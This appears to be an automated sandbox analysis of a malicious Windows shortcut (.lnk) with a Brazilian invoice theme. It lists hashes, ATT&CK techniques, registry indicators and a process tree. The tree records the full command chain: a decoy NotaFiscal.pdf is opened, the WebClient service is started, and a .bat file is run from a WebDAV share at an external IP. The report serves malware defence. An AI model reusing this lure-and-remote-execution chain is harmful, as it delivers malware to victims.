132f8d12421381a77b9d164a90c155b05c9f57fd3a2e79a5a2a50c183b8bb4e5

Analysis

max time kernel
141s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
08/05/2024, 07:42

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General

Target

Condition-Agreement_2024_05_06_27.lnk
Size

2KB
MD5

a497662f623efb41bcf7c05b6571edfe
SHA1

c1b3a6927f8032d0052ff9a118c16e55a9f97dea
SHA256

132f8d12421381a77b9d164a90c155b05c9f57fd3a2e79a5a2a50c183b8bb4e5
SHA512

d955dda82d9349aeceb27d29ed09816d9773cff050abdbcd928d66b1532c1adc4c0f454a8c027b67fa13e8157674a1edacff884ccd35f4b4652cf5241d12a1a3

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	cmd.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
544	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1456	PING.EXE

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe
3268	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3416 wrote to memory of 2920	3416	cmd.exe	83
PID 3416 wrote to memory of 2920	3416	cmd.exe	83
PID 2920 wrote to memory of 3268	2920	cmd.exe	84
PID 2920 wrote to memory of 3268	2920	cmd.exe	84
PID 2920 wrote to memory of 3268	2920	cmd.exe	84
PID 2920 wrote to memory of 544	2920	cmd.exe	87
PID 2920 wrote to memory of 544	2920	cmd.exe	87
PID 2920 wrote to memory of 1456	2920	cmd.exe	89
PID 2920 wrote to memory of 1456	2920	cmd.exe	89
PID 3268 wrote to memory of 4588	3268	AcroRd32.exe	96
PID 3268 wrote to memory of 4588	3268	AcroRd32.exe	96
PID 3268 wrote to memory of 4588	3268	AcroRd32.exe	96
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 4816	4588	RdrCEF.exe	98
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99
PID 4588 wrote to memory of 1044	4588	RdrCEF.exe	99

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Condition-Agreement_2024_05_06_27.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/min /c "echo Visualizacao indisponivel > C:\Users\Admin\\downloads\\NotaFiscal.pdf && start C:\Users\Admin\\downloads\\NotaFiscal.pdf && start sc start webclient && ping localhost -n 7 && start /min cmd.exe /c \\38.180.136.158@80\vHRfeSre\Offer202412.bat"
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\NotaFiscal.pdf"
    3⤵
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3268
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4588
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=1AD3FE24BED7E63A9094DA1647EC46DD --mojo-platform-channel-handle=1724 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:4816
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=2E38404AB37B2A52A652488A17AB30B0 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=2E38404AB37B2A52A652488A17AB30B0 --renderer-client-id=2 --mojo-platform-channel-handle=1736 --allow-no-sandbox-job /prefetch:1
        5⤵
        
        PID:1044
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4AA69404526975AD1B3F5B4DBE08EE8C --mojo-platform-channel-handle=2292 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:3184
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=DF172D33F88395FD9B80236F8B5AC6C7 --mojo-platform-channel-handle=1900 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:640
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=6AC675FB0977F962E3816A85BBAC10E5 --mojo-platform-channel-handle=2520 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:4616
- - C:\Windows\system32\sc.exe
    sc start webclient
    3⤵
    - Launches sc.exe
    PID:544
- - C:\Windows\system32\PING.EXE
    ping localhost -n 7
    3⤵
    - Runs ping.exe
    PID:1456
- - C:\Windows\system32\cmd.exe
    cmd.exe /c \\38.180.136.158@80\vHRfeSre\Offer202412.bat
    3⤵
    PID:544

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
a2200314c5797212f16cd749c15cafc0

SHA1
08a8d4f0d7e0a4ec1883bc85223ad4758097ad9f

SHA256
e2a0fdc7b0adebae04194b4464aa0a20cad95cf43dc76b69ad6b89578baebda4

SHA512
62dfa6a94bb01deb0a1ab9211bf979fab74be25839dd7bca3e550b333578c9799b3bd01b276deba45bed4e57166f88ff78e4b50c538dfc10d95c1742b5e3e64f

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\Downloads\NotaFiscal.pdf

Filesize
29B

MD5
823a9caa296579d6a40cd5195d969727

SHA1
5592813787ecff9133229439498d624339c07ece

SHA256
60b827294f341e5f200c6512b976cac056a592ac1abdd932af8abff314b7bb0e

SHA512
77ec77b000d5d230071a101954968f585ceed9e589652af38411d14b594a7432b610ef9c8b7d1c9256a5e6fe5eeda53d017a4c6d840c987b884b9cca17d7e0bc

Download Submit